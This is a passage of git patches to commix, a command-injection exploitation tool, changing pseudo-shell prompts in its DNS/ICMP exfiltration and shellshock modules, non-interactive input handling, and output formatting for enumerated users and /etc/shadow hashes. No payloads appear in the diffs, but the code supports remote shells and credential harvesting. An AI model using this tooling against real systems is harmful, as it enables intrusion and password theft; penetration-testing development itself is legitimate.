+ if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I):
+ output_href.append(line.rstrip())
+
# Removing duplicates from list.
clean_output_href = []
[clean_output_href.append(x) for x in output_href if x not in clean_output_href]
# Removing empty elements from list.
clean_output_href = [x for x in clean_output_href if x]
- if len(output_href) >= 0:
+ if len(output_href) >= 0 and settings.IS_TTY:
if filename is not None:
filename = crawler.store_crawling(output_href)
info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
print(settings.print_info_msg(info_msg))
url_num = 0
for url in clean_output_href:
+ http_request_method = check_http_method(url)
if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS:
url_num += 1
print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py
index 79ef2db2af..643403a2b8 100755
--- a/src/core/modules/dns_exfiltration/dns_exfiltration.py
+++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py
@@ -116,7 +116,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique):
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = common.read_input(message="", default=None, check_batch=True)
+ cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "quit" or cmd.lower() == "back":
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
index 25cfade488..6aa656162e 100755
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
@@ -151,7 +151,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique):
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = common.read_input(message="", default=None, check_batch=True)
+ cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "quit" or cmd.lower() == "back":
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 3a36712620..67b70d2cc4 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -761,7 +761,10 @@ def shellshock_handler(url, http_request_method, filename):
if go_back == True:
break
message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = common.read_input(message, default="Y", check_batch=True)
+ if settings.IS_TTY:
+ gotshell = common.read_input(message, default="Y", check_batch=True)
+ else:
+ gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
@@ -771,7 +774,7 @@ def shellshock_handler(url, http_request_method, filename):
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = common.read_input(message="", default=None, check_batch=True)
+ cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
@@ -807,6 +810,8 @@ def shellshock_handler(url, http_request_method, filename):
raise
except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
diff --git a/src/utils/common.py b/src/utils/common.py
index 78a70cf5ad..99b49c8eef 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -42,12 +42,13 @@ def is_empty():
value = None
if "\n" in message:
message += ("\n" if message.count("\n") > 1 else "")
+
elif len(message) == 0:
- return _input()
+ return is_empty()
if settings.ANSWERS:
if not any(_ in settings.ANSWERS for _ in ",="):
- return is_empty()
+ return is_empty(message, default=None, check_batch=True)
else:
for item in settings.ANSWERS.split(','):
question = item.split('=')[0].strip()
diff --git a/src/utils/menu.py b/src/utils/menu.py
index ea1e8a080d..76aad531c3 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -708,23 +708,6 @@ def mobile_user_agents():
Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel".
Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""")
- while True:
- message = "Which smartphone do you want to imitate through HTTP User-Agent header? "
- mobile_user_agent = common.read_input(message, default=None, check_batch=True)
- try:
- if int(mobile_user_agent) in range(0,len(settings.MOBILE_USER_AGENT_LIST)):
- return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)]
- elif mobile_user_agent.lower() == "q":
- raise SystemExit()
- else:
- err_msg = "'" + mobile_user_agent + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
- except ValueError:
- err_msg = "'" + mobile_user_agent + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
-
"""
The tab compliter (shell options).
"""
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 90f17e1d53..fd2bb7b4ec 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "62"
+REVISION = "63"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -382,6 +382,8 @@ def sys_argv_errors():
# Max Length for command execution output.
MAXLEN = 10000
+IS_TTY = True
+
# Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
From 3b9a3862bfc8d81672817b458c711068d2c210cb Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 16 May 2022 08:33:58 +0300
Subject: [PATCH 140/560] Minor fixes
---
src/core/injections/controller/checks.py | 6 +++---
src/core/injections/controller/controller.py | 2 +-
src/core/main.py | 15 ++++++++-------
src/utils/menu.py | 1 -
src/utils/settings.py | 2 +-
5 files changed, 13 insertions(+), 13 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 92654e0bee..3090764f7d 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -101,7 +101,7 @@ def connection_exceptions(err_msg, url):
error_msg = str(err_msg)
if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING:
print(settings.SINGLE_WHITESPACE)
- if "wrong version number" in str(error_msg).lower():
+ if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]):
settings.MAX_RETRIES = 1
error_msg = "Can't establish SSL connection"
elif "connection refused" in str(error_msg).lower():
@@ -145,7 +145,7 @@ def connection_exceptions(err_msg, url):
_ = " Skipping URL '" + str(url) + "'."
if settings.MULTI_TARGETS or settings.CRAWLING:
error_msg = error_msg + _
- if len(_) != 0 or (not settings.MULTI_TARGETS and not settings.CRAWLING):
+ if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING:
print(settings.print_critical_msg(error_msg))
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
if settings.MAX_RETRIES > 1:
@@ -1109,7 +1109,7 @@ def whitespace_check(payload):
# Enable the "multiplespaces" tamper script.
count_spaces = payload.count(settings.WHITESPACES[0])
- if count_spaces >= 5:
+ if count_spaces > 15:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",multiplespaces"
else:
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index c96bb88b31..4d280a102c 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -840,7 +840,7 @@ def do_check(url, http_request_method, filename):
err_msg += " and/or remove the option '--skip-empty'"
err_msg += "."
print(settings.print_critical_msg(err_msg))
-
+
logs.print_logs_notification(filename, url)
if not settings.MULTI_TARGETS:
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/main.py b/src/core/main.py
index 584afca196..32a1f4fb4a 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -63,7 +63,6 @@
Check for HTTP Method
"""
def check_http_method(url):
- # Check for HTTP Method
if len(settings.HTTP_METHOD) != 0:
http_request_method = settings.HTTP_METHOD.upper()
else:
@@ -80,6 +79,7 @@ def check_http_method(url):
return http_request_method
+
"""
Define HTTP User-Agent header.
"""
@@ -543,10 +543,10 @@ def main(filename, url):
if menu.options.smoke_test:
smoke_test()
- if not menu.options.batch:
+ if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile:
settings.OS_CHECKS_NUM = 1
- for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)):
+ for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)):
# Check if defined "--list-tampers" option.
if menu.options.list_tampers:
checks.list_tamper_scripts()
@@ -832,9 +832,9 @@ def main(filename, url):
settings.CRAWLING_PHASE = False
else:
output_href = []
+ filename = None
if settings.IS_TTY:
output_href = output_href + bulkfile
- filename = None
else:
info_msg = "Using 'stdin' for parsing targets list."
print(settings.print_info_msg(info_msg))
@@ -850,21 +850,22 @@ def main(filename, url):
[clean_output_href.append(x) for x in output_href if x not in clean_output_href]
# Removing empty elements from list.
clean_output_href = [x for x in clean_output_href if x]
- if len(output_href) >= 0 and settings.IS_TTY:
+ if len(output_href) != 0 and settings.IS_TTY:
if filename is not None:
filename = crawler.store_crawling(output_href)
info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
print(settings.print_info_msg(info_msg))
url_num = 0
for url in clean_output_href:
- http_request_method = check_http_method(url)
+ http_request_method = check_http_method(url)
if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS:
url_num += 1
print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
message = common.read_input(message, default="Y", check_batch=True)
if message in settings.CHOICE_YES:
- settings.INIT_TEST = True
+ if os_checks_num == 0:
+ settings.INIT_TEST = True
if url == clean_output_href[-1]:
settings.EOF = True
# Reset the injection level
diff --git a/src/utils/menu.py b/src/utils/menu.py
index 76aad531c3..0ecf8de967 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -19,7 +19,6 @@
from optparse import OptionGroup
from optparse import OptionParser
from optparse import SUPPRESS_HELP as SUPPRESS
-from src.utils import common
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
diff --git a/src/utils/settings.py b/src/utils/settings.py
index fd2bb7b4ec..989335bb4e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "63"
+REVISION = "64"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From c61ea8b7040a10695a5eff523ee1cf55b773a31c Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 17 May 2022 07:32:14 +0300
Subject: [PATCH 141/560] Multiple updates
---
.../techniques/time_based/tb_enumeration.py | 6 +-
.../techniques/classic/cb_enumeration.py | 10 ++--
.../techniques/eval_based/eb_enumeration.py | 10 ++--
.../techniques/file_based/fb_enumeration.py | 10 ++--
.../tempfile_based/tfb_enumeration.py | 8 +--
src/core/modules/shellshock/shellshock.py | 8 +--
src/utils/settings.py | 58 ++++++++++---------
7 files changed, 57 insertions(+), 53 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index 9b58f69a2b..4117841b91 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -410,12 +410,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
else :
is_privileged = ""
is_privileged_nh = ""
- sys.stdout.write("\n (" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -497,7 +497,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") '" + fields[0] + " : " + fields[1])
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + " : " + fields[1])
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index 2eaa747617..dc75d4a03e 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -331,11 +331,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
else :
is_privileged = ""
is_privileged_nh = ""
- print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -431,11 +431,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
else :
is_privileged = ""
is_privileged_nh = ""
- print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -520,7 +520,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index 6155a8537c..0b2bfb403f 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -334,11 +334,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
else :
is_privileged = ""
is_privileged_nh = ""
- print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -432,11 +432,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
else :
is_privileged = ""
is_privileged_nh = ""
- print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -522,7 +522,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index 25175bc380..f8d1f4f8eb 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -315,11 +315,11 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
is_privileged_nh = ""
# if settings.VERBOSITY_LEVEL != 0:
# print(settings.SINGLE_WHITESPACE)
- print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -414,11 +414,11 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
else :
is_privileged = ""
is_privileged_nh = ""
- print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -502,7 +502,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index 5baeeb5671..b8c34fb284 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -318,7 +318,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -413,12 +413,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
else :
is_privileged = ""
is_privileged_nh = ""
- sys.stdout.write("\n (" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -503,7 +503,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 67b70d2cc4..b9614c161d 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -260,11 +260,11 @@ def enumeration(url, cve, check_header, filename):
else :
is_privileged = ""
is_privileged_nh = ""
- print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -331,11 +331,11 @@ def enumeration(url, cve, check_header, filename):
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
- print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL)
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate (/etc/shadow) format
except IndexError:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 989335bb4e..d8a92aa62d 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -20,6 +20,7 @@
import random
import string
import codecs
+from datetime import datetime
from src.core.compat import xrange
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import reload_module as _reload_module
@@ -56,7 +57,7 @@ class HTTPMETHOD(object):
ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] "
CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] "
PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] "
-SUB_CONTENT_SIGN = " " * 7 + Fore.GREY + "|_ " + Style.RESET_ALL
+SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL
TRAFFIC_SIGN = HTTP_CONTENT_SIGN = ""
ABORTION_SIGN = ERROR_SIGN
DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] "
@@ -66,64 +67,77 @@ class HTTPMETHOD(object):
REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """
BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """
+def print_time():
+ return "[" + Fore.LIGHTBLUE_EX + datetime.now().strftime("%H:%M:%S") + Style.RESET_ALL + "] "
+
+# Print legal disclaimer message
+def print_legal_disclaimer_msg(legal_disclaimer_msg):
+ result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL
+ return result
+
# Print error message
def print_error_msg(err_msg):
- result = ERROR_SIGN + str(err_msg) + Style.RESET_ALL
+ result = print_time() + ERROR_SIGN + str(err_msg) + Style.RESET_ALL
return result
# Print error message
def print_bold_error_msg(err_msg):
- result = ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL
+ result = print_time() + ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL
return result
# Print critical error message
def print_critical_msg(err_msg):
- result = CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL
+ result = print_time() + CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL
return result
# Print abortion message
def print_abort_msg(abort_msg):
- result = ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL
